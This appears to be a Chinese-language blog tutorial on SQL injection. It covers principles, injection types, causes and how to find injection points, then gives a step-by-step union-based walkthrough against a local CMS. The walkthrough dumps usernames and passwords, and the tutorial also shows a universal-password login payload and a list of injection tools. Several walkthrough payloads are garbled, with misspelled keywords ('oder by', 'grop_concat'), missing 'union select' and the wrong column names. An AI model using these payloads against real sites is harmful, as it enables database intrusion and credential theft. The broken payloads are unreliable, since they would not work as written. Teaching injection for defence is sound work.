SQL注入

一.什么是SQL注入漏洞

攻击者利用Web应用程序对用户输入验证上的疏忽,在输入的数据中包含对某些数据库系统有特殊意义的符号或命令,让攻击者有机会直接对后台数据库系统下达指令,进而实现对后台数据库乃至整个应用系统的入侵。

1.SQL注入原理

服务端没有过滤用户输入的恶意数据,直接把用户输入的数据当做SQL语句执行,从而影响
数据库安全和平台安全。
两个条件
用户能够控制输入
原本程序要执行的SQL语句,拼接了用户输入的恶意数据
在这里插入图片描述

2.危害

绕过登录验证:使用万能密码登录网站后台等
获取敏感数据:获取网站管理员帐号、密码等
文件系统操作:列目录,读取、写入文件等
注册表操作:读取、写入、删除注册表等
执行系统命令:远程执行命令

3.案例

通过在用户名处传入参数 ’ or 1=1 – 进行万能密码登录

SELECT username, password FROM users WHERE username='textvalue'or 1=1 -- ' AND password='textvalue2'
(注意:--后面有一个空格)
 输入字符
formusr =' or 1=1 --
formpwd = anything
 实际的查询代码
SELECT * FROM users WHERE username ='' or 1=1 -- AND password = 'anything'

判断一个HTTP请求是否存在SQL注入的方式

经典:and 1=1 | and 2 > 1 | or 1=1 | or 1<1
数据库函数:sleep(4)=1 | length(user())>3
特殊符号:单引号(’) 双引号(”)

二.SQL注入分类

按照注入点类型分类
数字型(整型)注入
字符型注入
搜索型注入
按照注入技术(执行效果)分类
基于布尔的盲注
基于时间的盲注
基于报错的注入
联合查询注入
堆查询注入

1.数字型(整型)注入

输入的参数为整数,如ID、年龄、页码等,如果存在注入型漏洞,则为数字型(整型)
注入
http://www.testweb.com/user.php?id=8
实际查询代码原型诸如: select … from … where id=$id …
测试方法:
在这里插入图片描述

2.字符型注入

输入的参数为字符串
与数字型注入的区别在于:字符型注入一般要使用单引号来闭合
http://www.testweb.com/test.php?user=admin
实际查询代码原型诸如:select … from … where id=‘$id’ …
测试方法:在这里插入图片描述

3.搜索型注入

这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中
有 “keyword=关键字”,有的不显示链接地址,而是直接通过搜索框表单提交。
此类注入点提交的 SQL 语句,其原型大致为:
select * from 表名 where 字段 like ‘%关键字%’
当我们提交注入参数为keyword=‘and[查询条件] and ‘%’=’,则向数据库提交的SQL语句为:
select * from 表名 where 字段 like ‘%’ and [查询条件] and ‘%’=‘%’

4.按照注入技术(执行效果)分类

基于布尔的盲注
即可以根据返回页面判断条件真假的注入。
基于时间的盲注
即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
基于报错的注入
即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
联合查询注入
可以使用union的情况下的注入。
堆查询注入
同时执行多条语句的注入。

三.SQL注入漏洞形成的原因

动态字符串构建引起

不正确的处理转义字符(宽字节注入)
不正确的处理错误(报错泄露信息)
不正确的处理联合查询
不正确的处理多次提交(二次注入)

后台存在的问题

后台无过滤或者编码用户数据
数据库可以拼接用户传递的恶意代码

错误处理不当

详细的内部错误消息显示给用户或攻击者
错误信息可以直接给攻击者提供下一步攻击帮助

不安全的数据库配置

默认账户

SQL Server“sa”作为数据库系统管理员账户;
MySQL使用“root”和“anonymous”用户账户;
Oracle则在创建数据库时通常默认会创建SYS、SYSTEMS DBSNMP和OUTLN账户。

权限

问题:系统和数据库管理员在安装数据库服务器时允许以roots SYSTEM或Administrator特权系统用户账户身份执行操作。
正确方法:应该始终以普通用户身份运行服务器上的服务,降低用户权限,将用户权限只限于本服务。

四.寻找SQL注入点

GET方法

一种请求服务器的HTTP方法,使用该方法时,信息包含在URL中
点击一个链接时,一般会使用该方法

GET请求方法的格式

?text=value1&cat=value2&num=value3…

修改方法

浏览器的导航栏中直接修改即可操纵这些参数
HackBar插件

POST方法

POST是一种用于向Web服务器发送信息的HTTP方法
数据信息无法在URL中看到
可以发送字节大的数据
POST /sqli -labs-master/Less-11/ HTTP/1.1
Host: 123.59.116.191
User- Agent: Mozilla/ 5.0 (Macintosh; Intel Mac OS X 10.12; rv:57.0) Gecko/ 20100101 Firefox/ 57.0
Content-Type: application/ x-www- form- urlencoded
Content-Length: 43
Connection: close
Upgrade-Insecure-Requests: 1

uname=w3g43we&passwd=h64j4wj5&submi t=Submit

修改POST包方法

浏览器修改扩展(Hackbar)
代理服务器(Burpsuite)
在这里插入图片描述

其它注入点数据

Cookie
Host
User-Agent

关于注入点的总结

只要后台接收前端输入的数据,并且未对数据进行过滤处理,最后直接进入到数据
库中,从而都能构成威胁。

五.SQL注入的过程

手工注入过程
1 判断是否存在注入点;
2 判断字段长度(字段数);
3 判断字段回显位置;
4 判断数据库信息;
5 查找数据库名;
6 查找数据库表;
7 查找数据库表中所有字段以及字段值;
8 猜解账号密码;
9 登录管理员后台。

手工注入实例

目标靶机:某CMS网站
➢典型应用场景:Web页面对于用户输入有回显及报错
注入方式:基于联合查询(union select)的注入方法
步骤1:判断注入点
http://127.0.0.1/cms/show.php?id=33 and 1=1
http://127.0.0.1/cms/show.php?id=33 and 1=2
步骤2:判断字段长度
http://127.0.0.1/cms/show.php?id=33 oder by 15
http://127.0.0.1/cms/show.php?id=33 oder by 16
步骤3:判断回显位置
http://127.0.0.1/cms/show.php?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
步骤4:判断数据库信息
http://127.0.0.1/cms/show.php?id=33 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15
步骤5:查找数据库名
http://127.0.0.1/cms/show.php?id=33 and 1=2 1,2,grop_concat(convert(schema_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.schemata
步骤6:查找数据库表
http://127.0.0.1/cms/show.php?id=33 and 1=2 1,2,grop_concat(convert(schema_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=‘cms’
步骤7:查找数据库表中所有字段
http://127.0.0.1/cms/show.php?id=33 and 1=2 1,2,grop_concat(convert(schema_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema=‘cms’ and table_name=‘cms_users’
步骤8:查找数据库表中所有字段的值
http://127.0.0.1/cms/show.php?id=33 and 1=2 1,2,concat_ws(‘,’,userid,username,password),4,5,6,7,8,9,10,11,12,13,14,15 from cms.cms_users
在这里插入图片描述

步骤9:猜解账号密码
在这里插入图片描述

步骤10:登录数据库后台

自动化注入工具

1 SQL注入工具
Sqlmap Havij Sqlid
2 ASP\JSP注入工具
NBSI 阿D注入软件 明小子注入软件
3 PHP注入工具
穿山甲注入软件 海阳顶端注入软件

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

朵拉不会敲代码

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值